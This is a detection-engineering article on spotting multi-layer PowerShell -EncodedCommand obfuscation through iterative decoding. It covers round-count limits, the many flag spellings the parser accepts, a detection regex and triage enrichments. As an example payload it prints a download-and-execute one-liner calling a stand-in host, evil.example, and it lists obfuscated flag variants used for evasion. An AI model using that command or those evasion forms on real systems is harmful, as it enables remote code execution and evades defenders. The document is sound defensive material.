Detecting Nested PowerShell Encoding

PowerShell's -EncodedCommand flag accepts a base64-encoded UTF-16LE string of a command to execute. The parser also recognizes many alternate forms of this flag, including documented abbreviations, alternate prefixes, and obfuscated variants, all covered in a later section. Encoding by itself is not suspicious. It's extremely common across enterprise environments, used wherever a tool needs to pass complex commands containing quotes, special characters, embedded newlines, or scripts that have to round-trip cleanly through configuration files. Scheduled Tasks, GPO logon scripts, MSI installers, software deployment platforms, and CI/CD pipelines all generate encoded PowerShell routinely. Treating encoded commands as inherently suspicious would drown a SOC in noise.

Multiple rounds of encoding are different. When a decoded -EncodedCommand payload is itself another -EncodedCommand invocation, you are looking at deliberate obfuscation.

What it looks like

An encoded command holds a complete inner command. With multiple rounds, that inner command is itself encoded.

LayerLengthContent (truncated for readability)
As observed~1,735 charspowershell.exe -EncodedCommand JABzAGYAaQBuACAAPQAg... [truncated]
After 1st decode~639 charspowershell.exe -EncodedCommand cABvAHcAZQByAHMAaABl... [truncated]
After 2nd decode~227 charspowershell.exe -EncodedCommand SQBFAFgAKABOAGUAdwAt... [truncated]
After 3rd decode73 charsIEX(New-Object Net.WebClient).DownloadString('http://evil.example/p.ps1')

Three layers of base64 plus UTF-16LE encoding wrap a single payload. Each decode reveals another -EncodedCommand invocation. The bottom layer is the actual command.

What makes it abnormal

Legitimate tools that use -EncodedCommand produce exactly one round, because there's no toolchain reason to wrap an already-encoded command again. Anything beyond one round is a deliberate choice.

Encoding roundsWhat it usually means
0 (plain text)Normal command line. Most commands.
1 roundTool-generated encoding for special characters. Common in Scheduled Tasks, GPO logon scripts, MSI installers, CI/CD pipelines.
2 roundsObfuscation chain. Almost no legitimate reason to wrap an already-encoded command in another -EncodedCommand.
3 or more roundsActive evasion of signature-based detection. Practically always malicious.

A single round means almost nothing by itself because legitimate one-round encoding is everywhere. Two rounds mean deliberate wrapping that no normal toolchain produces.

Why rounds top out at eight

Each round wraps the previous command line as <binary> <flag> <base64> and re-encodes the result. Two transformations happen during encoding. The string is first converted to UTF-16LE, where each character becomes 2 bytes. That doubles the byte count. Those bytes are then base64-encoded, where every 3 input bytes produce 4 output characters. That multiplies the byte count by 4/3. Combined, each round grows the inner command by 2 × (4/3) = 8/3 ≈ 2.67x. The wrapping itself adds a fixed prefix overhead from the binary name, the chosen flag, and the separating spaces.

Per-round overhead reaches a minimum of 8 characters with canonical binaries. The smallest viable form uses pwsh (4 characters) and -e (2 characters), with the two single-character spaces required to separate the binary from the flag and the flag from the encoded payload. PowerShell 7+ ships as pwsh.exe, six characters shorter than powershell.exe, and -e is the shortest unambiguous abbreviation of -EncodedCommand. The numbers below come from running the chain with that smallest configuration starting from payload 1.

RoundEncoded base64 lengthTotal command line lengthNote
14 chars12 charsThe payload "1" encoded once
232 chars40 chars
3108 chars116 chars
4312 chars320 chars
5856 chars864 chars
62,304 chars2,312 chars
76,168 chars6,176 charsLast round whose command line fits under CMD's 8,191-char limit
816,472 chars16,480 charsLast round whose command line fits under CreateProcess's 32,767-char limit
943,948 chars43,956 charsExceeds CreateProcess's 32,767-char limit; cannot execute

Round 8 is the ceiling for canonical PowerShell binaries. At round 9 the encoded portion alone is 43,948 characters, larger than CreateProcess's command line cap of 32,767 characters before any prefix is added. With powershell.exe the chain still caps at round 8, just with a larger command line at every round. With longer flag forms or randomly obfuscated variants, per-round overhead grows further but the round 8 ceiling holds. With realistic starting payloads of hundreds or thousands of characters, the ceiling drops to 5 or 6 because each round inflates faster from a larger base. An attacker who renames the PowerShell binary to a single character could squeeze in a ninth round in theory, but renaming the host binary is itself rare and detectable through other means.

The detection alerts on 2 or more rounds and counts what it finds, with no upper cap. The natural observational ceiling at 8 means analysts in practice will see counts in the 2 to 8 range. Higher values would indicate either the renamed-binary edge case or an instrumentation bug.

The flag's many accepted forms

PowerShell's command-line parser is permissive in ways attackers reliably exploit. The flag is not just -EncodedCommand. The parser accepts a wide variety of shapes, all of which resolve to the same instruction.

VariationExamples (all execute identically)What's happening
Prefix character-enc, /ec, –e (en-dash, U+2013), —encod (em-dash, U+2014)The parser treats hyphen, forward slash, en-dash, and em-dash as interchangeable flag prefixes. Logging pipelines often normalize dash characters back to ASCII hyphen, hiding the original form on the way to the SIEM.
Parameter abbreviation-e, -en, -enc, -enco, -encod, ... -encodedcommandPowerShell resolves any unambiguous prefix match. -e is unique among PowerShell.exe top-level parameters, so any prefix from -e through the full name works.
Case insensitivity-EnCoDeDcOmMaNd, -Ec, -eNcFlag names are case-insensitive. Random case is the cheapest way to defeat naive substring matching.
Embedded empty quotes-""ec, -ec"", -"ec", -"e""c"Empty "" pairs and quoted boundaries get stripped during parsing. The token resolves to -ec.
Backtick escaping`-enc, -`e`n`cBackticks (PowerShell's escape character) before or between flag characters get folded by the parser.
Whitespace and quotes inside the flag-"ec ", -"e"cQuoted whitespace and interleaved quote characters inside the flag token can be tolerated by the parser while still resolving to a known flag.

These axes combine independently. The matchable surface is the cross-product of the rows, not the union. In practice the permutation space is effectively unbounded once case, prefix, abbreviation, and quoting mix. A few real samples from a single test run produced forms like /eNCOdEdcOmman, -EnCoDEd"", —E"", /encO, —ENCodeDCoMMan, -""EnCoDEDcOMMA, —"enCO ", /"ENCo ", —""eC, -"ENC ". The detection has to match the parser's tolerance generatively rather than enumerate forms.

PowerShell ships in three Windows binaries. The first is powershell.exe. The second is pwsh.exe (PowerShell 7+). The third is powershell_ise.exe, the ISE GUI. All three host the same engine, so all three can produce multi-round encoded commands. The ISE differs from the other two in how that activity reaches process telemetry. It's a GUI host, and code typed into its console pane or run from its script pane executes inside the ISE process itself rather than as a subprocess invocation, so no per-command process line is generated for each round (although this may vary depending on EDR tooling). PowerShell ScriptBlock logging (Event ID 4104) is the parallel data source for in-process activity in any host, including ISE. Renamed copies of any of the three binaries behave the same way as their canonical names.

A regex covering the variation surface, with case-insensitive matching enabled, takes the following form:

[`]*([\-\/\–\—])[^A-Za-z]*e[ncodema"`'\s]*\s+(?<EncodedCommand>[A-Za-z0-9\+\/\=\"\'\s]+)

The first group captures the prefix character. The middle character class consumes any combination of letters from encodedcommand, quotes, backticks, and whitespace, which catches case-mixed abbreviations, embedded empty quotes, and backtick-escaped variants in any combination. The named capture group at the end pulls out the base64 payload, which itself can contain whitespace, quotes, and line continuations. A pre-filter that hard-codes the literal string -EncodedCommand, or even a small alias list, misses every variation above.

Detect it dynamically

Don't rely on the encoded form. The encoded blob is by design indistinguishable random-looking text. Decode iteratively and let the round count be the signal.

StepWhatWhy
1. Pre-filterApply the parser-tolerant flag regex (shown in the previous section) to the command line of every process creation event. The match is binary-agnostic. Any process whose command line contains the pattern is in scope, whether it's powershell.exe, pwsh.exe, or a renamed copy.Casts a wide enough net to catch obfuscated invocations. False matches (suspicious-looking command lines that aren't real encoded commands) get dropped harmlessly at the decode step when the base64 fails to parse.
2. Decode and checkExtract the base64 from the named capture group. Decode it, convert from UTF-16LE bytes back to a string, then re-apply the same flag regex to that decoded string. If it matches, decode the new base64 capture group and check again. Repeat until the regex no longer finds a match in the decoded output.The number of decode iterations is the round count. The regex is the engine of the detection at every layer, and the base64 decoder is the second hard prerequisite. Without both available in the query path or pipeline, this method is not implementable.
3. AlertRound count >= 2.One round of encoding is normal across many legitimate tools. Two rounds is deliberate wrapping with essentially no legitimate equivalent.
4. CaptureStore the round count, every intermediate decoded layer, and the final decoded payload.Triage relies on what the inner-most command actually does and on being able to walk the layers.

Filtering benign cases happens against the decoded payload, not the encoded form. If the inner-most command is a known-good automation script, the alert closes. The encoded outer wrapper is uniformly random-looking and tells you nothing about intent.

Method choices

Methods differ on whether they actually decode the chain. Anything that doesn't run the regex-and-decode loop works from a uniformly random-looking input and can't see structure that isn't there.

ConfidenceMethodOperational shapeWhy this rank
PrimaryRun the iterative regex-and-decode loop at query time. Apply the flag regex, decode the captured base64, re-apply the regex to the decoded string, and repeat. Alert when the iteration count reaches 2.Requires both a base64 decoder and a regex engine in the query path. Each iteration is one decode plus one regex match, and the chain caps at eight rounds, so the work is bounded.The detection IS the iterative loop. Nothing about the encoded form in isolation produces the signal. Two rounds means deliberate wrapping. One round means a normal tool generated it. The threshold is grounded in semantics, not statistics.
Stronger but expensiveRun the same iterative regex-and-decode loop at ingest. Tag every PowerShell process event with the resulting round count, the final decoded payload, and the intermediate layers as new fields.Decoder and regex run in the ingestion pipeline. Adds processing cost on every PowerShell event, not just suspect ones. Same algorithm, just earlier.Worth it if the environment runs a lot of encoded PowerShell legitimately. Detection queries become field comparisons on round count, and triage queries don't have to re-decode anything.
AvoidPattern matching, entropy scoring, or length analysis applied to the base64 blob itselfCheap.The base64 output is by design random-looking. Heuristics on the blob get undone by the next obfuscator. The signal lives in the decoded layers, not in the bytes of the encoded payload. This is distinct from the regex applied to the command line text, which is required.
AvoidStatic command line length thresholds as the primary signalCheap.Long command lines exist for legitimate reasons. Long does not equal multiple rounds. The round count is what matters.

Enrichments for triage

Round count fires the alert. Everything else, including whether the activity is actually malicious, is determined by what shows up after decoding.

Triage valueEnrichmentSourceWhy
HighRound count detectedLive queryThe alert criterion itself, surfaced as a sortable field. Two rounds and eight rounds get triaged differently.
HighFinal decoded payload (the inner-most command)Live queryThe actual command being run. The deciding factor for malicious vs benign.
HighStrings extracted from the decoded payload (URLs, IPs, file paths, registry keys, function names like Invoke-Expression, DownloadString, Reflection.Assembly)Live queryThe payload itself often points at the next stage. Surfacing extracted indicators avoids analysts having to read the full decoded script.
HighAll intermediate decoded layersLive queryDiverging round counts between detectors are usually layer-counting differences. Showing every layer makes the chain auditable.
HighProcess lineage (parent and grandparent process names, command lines, hashes)Live queryWhether this came from a user shell, a service, an attacker tool, or a known automation account changes triage entirely.
ModerateProcess metadata (image hash, image path, signing status, version)Live queryConfirms the binary is a legitimate signed PowerShell host versus a renamed copy. The hash also pivots cleanly across other events on the same or different hosts.
ModerateDecoded payload lengthLive queryA very short decoded payload often indicates a stager that immediately reaches out for the real script. A very long decoded payload usually contains the full script in line.
ModerateDecoded payload entropyLive queryLow entropy decoded content reads as normal PowerShell. High entropy decoded content suggests another encoding, encryption, or compression layer that the iterative decoder couldn't unwrap.
ModerateUser account context (interactive, service, SYSTEM, scheduled task)Live query / maintained reference datasetAll contexts are in scope for the alert. Context informs response routing and severity, not whether to alert. SYSTEM-context multi-round encoding is just as relevant as interactive user encoding.
ModerateWhether the parent process is a known automation or admin toolMaintained reference datasetCuts known-good cases fast.
LowerHost metadata (OS, owner, organizational unit, location)Maintained reference datasetRoutine triage info. Routes the alert to the right team.
Previous
Previous

Detecting Ordinal-Form DLL Calls

Next
Next

Detecting DNS Tunneling